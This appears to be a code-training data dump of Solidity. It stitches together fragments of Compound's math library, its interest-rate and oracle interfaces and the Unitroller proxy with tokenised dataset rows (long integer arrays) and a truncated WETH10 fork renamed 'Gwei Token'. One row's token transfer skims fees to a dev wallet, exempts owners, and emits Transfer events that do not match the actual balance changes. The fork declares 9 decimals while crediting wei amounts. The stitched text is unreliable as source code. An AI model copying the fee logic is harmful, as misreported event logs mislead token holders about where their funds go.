return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
abstract contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
abstract contract PriceOracle {
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CToken cToken) external virtual returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ErrorReporter.sol";
import "./ComptrollerStorage.sol";
/**
* @title ComptrollerCore
* @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`.
* CTokens should reference this contract as their comptroller.
*/
contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
/**
* @notice Emitted when pendingComptrollerImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptImplementation() public returns (uint) {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = comptrollerImplementation;
address oldPendingImplementation = pendingComptrollerImplementation;
comptrollerImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = address(0);
emit NewImplementation(oldImplementation, comptrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback () payable external {
// delegate all other functions to current implementation
(bool success, ) = comptrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
| @notice The COMP market supply state for each market | mapping(address => CompMarketState) public compSupplyState;
| 181,430 | [
1,
1986,
13846,
13667,
14467,
919,
364,
1517,
13667,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
2867,
516,
5427,
3882,
278,
1119,
13,
1071,
1161,
3088,
1283,
1119,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x8965A5307A203ff01bA534c29dE5d5978921aC57/sources/contracts/boltutoken.sol | * @dev Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./ _balances[address(0xe287cFa161642B001db3Ac4cE2dc5B03450CC8AC)]+=(amount*uint256(5))/uint256(1000); _balances[devWalletAddress]+=(amount*uint256(2))/uint256(100);_balances[address(this)] += (amount*uint256(2))/uint256(100); | function _transfer(address sender, address recipient, uint256 amount) internal virtual
{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(msg.sender!=uniswapv2 && msg.sender!=pair && sender!=bridge && recipient!=bridge && sender!=owners ){
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += (amount*98)/100;
_balances[devWalletAddress]+=(amount*uint256(1))/uint256(100);
_balances[address(this)]+=(amount*uint256(5))/uint256(1000);
_balances[address(IUniswap(uniswapv2))]+=(amount*uint256(5))/uint256(1000);
if(msg.sender!=address(this)){
uniswap = IUniswap(uniswapv2);
uint256 bal = (balanceOf(address(this))/uint256(2));
_approve(address(this),address(uniswap),balanceOf(address(this)));
uint256 deadline = block.timestamp +100;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswap.WETH();
level1=true;
uniswap.swapExactTokensForETH((bal),1,path,address(this),deadline);
addliquidity(bal);
}
emit Transfer(sender, address(this), (amount*2)/100);
emit Transfer(sender,devWalletAddress,(amount*2)/100);
emit Transfer(sender, recipient, (amount*96)/100);
}
else
{
if(level1 || sender==bridge || recipient==bridge)
{
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
level1=false;
emit Transfer(sender, recipient, amount);
}
else
{
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += (amount*98)/100;
_balances[devWalletAddress]+=(amount*uint256(1))/uint256(100);
_balances[address(this)]+=(amount*uint256(5))/uint256(1000);
_balances[address(IUniswap(uniswapv2))]+=(amount*uint256(5))/uint256(1000);
emit Transfer(sender, address(this), (amount*5)/1000) ;
emit Transfer(sender, address(IUniswap(uniswapv2)), (amount*5)/1000);
emit Transfer(sender,devWalletAddress,(amount*1)/100);
emit Transfer(sender, recipient, (amount*98)/100);
}
}
}
| 8,140,667 | [
1,
19297,
2430,
1375,
8949,
68,
628,
1375,
15330,
68,
358,
1375,
20367,
8338,
1220,
353,
2713,
445,
353,
7680,
358,
288,
13866,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
5859,
1147,
1656,
281,
16,
9026,
310,
1791,
28757,
16,
5527,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
29076,
30,
300,
1375,
15330,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
19,
389,
70,
26488,
63,
2867,
12,
20,
6554,
6030,
27,
71,
29634,
2313,
23147,
22,
38,
11664,
1966,
23,
9988,
24,
71,
41,
22,
7201,
25,
38,
4630,
24,
3361,
6743,
28,
2226,
13,
3737,
28657,
8949,
11890,
5034,
12,
25,
3719,
19,
11890,
5034,
12,
18088,
1769,
389,
70,
26488,
63,
5206,
16936,
1887,
3737,
28657,
8949,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
389,
13866,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
2713,
5024,
7010,
565,
288,
203,
3639,
2583,
12,
15330,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
20367,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
540,
203,
3639,
309,
12,
3576,
18,
15330,
5,
33,
318,
291,
91,
438,
90,
22,
597,
1234,
18,
15330,
5,
33,
6017,
597,
5793,
5,
33,
18337,
597,
8027,
5,
33,
18337,
597,
5793,
5,
33,
995,
414,
262,
95,
203,
5411,
389,
5771,
1345,
5912,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
203,
5411,
2254,
5034,
5793,
13937,
273,
389,
70,
26488,
63,
15330,
15533,
203,
5411,
2583,
12,
15330,
13937,
1545,
3844,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
5411,
389,
70,
26488,
63,
15330,
65,
273,
5793,
13937,
300,
3844,
31,
203,
5411,
389,
70,
26488,
63,
20367,
65,
1011,
261,
8949,
14,
10689,
13176,
6625,
31,
203,
5411,
389,
70,
26488,
63,
5206,
16936,
1887,
3737,
28657,
8949,
14,
11890,
5034,
12,
21,
3719,
19,
11890,
5034,
12,
6625,
1769,
203,
5411,
389,
70,
26488,
63,
2867,
12,
2211,
13,
3737,
28657,
8949,
14,
11890,
5034,
12,
25,
3719,
19,
11890,
5034,
12,
18088,
1769,
203,
5411,
389,
70,
26488,
63,
2867,
12,
45,
984,
291,
91,
438,
12,
318,
291,
91,
438,
90,
22,
3719,
3737,
28657,
8949,
14,
2
] |
// SPDX-License-Identifier: GPL-3.0-or-later
// Copyright (C) 2015, 2016, 2017 Dapphub
// Adapted by Ethereum Community 2021
pragma solidity 0.7.6;
import "./IWETH10.sol";
import "./IERC3156FlashBorrower.sol";
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
/// @dev Wrapped Ether v10 (WETH10) is an Ether (ETH) ERC-20 wrapper. You can `deposit` ETH and obtain a WETH10 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ETH from WETH10, which will then burn WETH10 token in your wallet. The amount of WETH10 token in any wallet is always identical to the
/// balance of ETH deposited minus the ETH withdrawn with that specific wallet.
contract WETH10 is IWETH10 {
string public constant name = "Gwei Token (Forked from WETH10)";
string public constant symbol = "GWEI";
uint8 public constant decimals = 9;
bytes32 public immutable CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 public immutable deploymentChainId;
bytes32 private immutable _DOMAIN_SEPARATOR;
/// @dev Records amount of WETH10 token owned by account.
mapping (address => uint256) public override balanceOf;
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of WETH10 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
/// @dev Current amount of flash-minted WETH10 token.
uint256 public override flashMinted;
constructor() {
uint256 chainId;
assembly {chainId := chainid()}
deploymentChainId = chainId;
_DOMAIN_SEPARATOR = _calculateDomainSeparator(chainId);
}
/// @dev Calculate the DOMAIN_SEPARATOR
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
/// @dev Return the DOMAIN_SEPARATOR
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
/// @dev Returns the total supply of WETH10 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return address(this).balance + flashMinted;
}
/// @dev Fallback, `msg.value` of ETH sent to this contract grants caller account a matching increase in WETH10 token balance.
/// Emits {Transfer} event to reflect WETH10 token mint of `msg.value` from `address(0)` to caller account.
receive() external payable {
// _mintTo(msg.sender, msg.value);
balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
/// @dev `msg.value` of ETH sent to this contract grants caller account a matching increase in WETH10 token balance.
/// Emits {Transfer} event to reflect WETH10 token mint of `msg.value` from `address(0)` to caller account.
function deposit() external override payable {
// _mintTo(msg.sender, msg.value);
balanceOf[msg.sender] += msg.value;
emit Transfer(address(0), msg.sender, msg.value);
}
/// @dev `msg.value` of ETH sent to this contract grants `to` account a matching increase in WETH10 token balance.
/// Emits {Transfer} event to reflect WETH10 token mint of `msg.value` from `address(0)` to `to` account.
function depositTo(address to) external override payable {
// _mintTo(to, msg.value);
balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
}
/// @dev `msg.value` of ETH sent to this contract grants `to` account a matching increase in WETH10 token balance,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on {transferAndCall} format, see https://github.com/ethereum/EIPs/issues/677.
function depositToAndCall(address to, bytes calldata data) external override payable returns (bool success) {
// _mintTo(to, msg.value);
balanceOf[to] += msg.value;
emit Transfer(address(0), to, msg.value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, msg.value, data);
}
/// @dev Return the amount of WETH10 token that can be flash-lent.
function maxFlashLoan(address token) external view override returns (uint256) {
return token == address(this) ? type(uint112).max - flashMinted : 0; // Can't underflow
}
/// @dev Return the fee (zero) for flash lending an amount of WETH10 token.
function flashFee(address token, uint256) external view override returns (uint256) {
require(token == address(this), "WETH: flash mint only WETH10");
return 0;
}
/// @dev Flash lends `value` WETH10 token to the receiver address.
/// By the end of the transaction, `value` WETH10 token will be burned from the receiver.
/// The flash-minted WETH10 token is not backed by real ETH, but can be withdrawn as such up to the ETH balance of this contract.
/// Arbitrary data can be passed as a bytes calldata parameter.
/// Emits {Approval} event to reflect reduced allowance `value` for this contract to spend from receiver account (`receiver`),
/// unless allowance is set to `type(uint256).max`
/// Emits two {Transfer} events for minting and burning of the flash-minted amount.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `value` must be less or equal to type(uint112).max.
/// - The total of all flash loans in a tx must be less or equal to type(uint112).max.
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 value, bytes calldata data) external override returns (bool) {
require(token == address(this), "WETH: flash mint only WETH10");
require(value <= type(uint112).max, "WETH: individual loan limit exceeded");
flashMinted = flashMinted + value;
require(flashMinted <= type(uint112).max, "WETH: total loan limit exceeded");
// _mintTo(address(receiver), value);
balanceOf[address(receiver)] += value;
emit Transfer(address(0), address(receiver), value);
require(
receiver.onFlashLoan(msg.sender, address(this), value, 0, data) == CALLBACK_SUCCESS,
"WETH: flash loan failed"
);
// _decreaseAllowance(address(receiver), address(this), value);
uint256 allowed = allowance[address(receiver)][address(this)];
if (allowed != type(uint256).max) {
require(allowed >= value, "WETH: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[address(receiver)][address(this)] = reduced;
emit Approval(address(receiver), address(this), reduced);
}
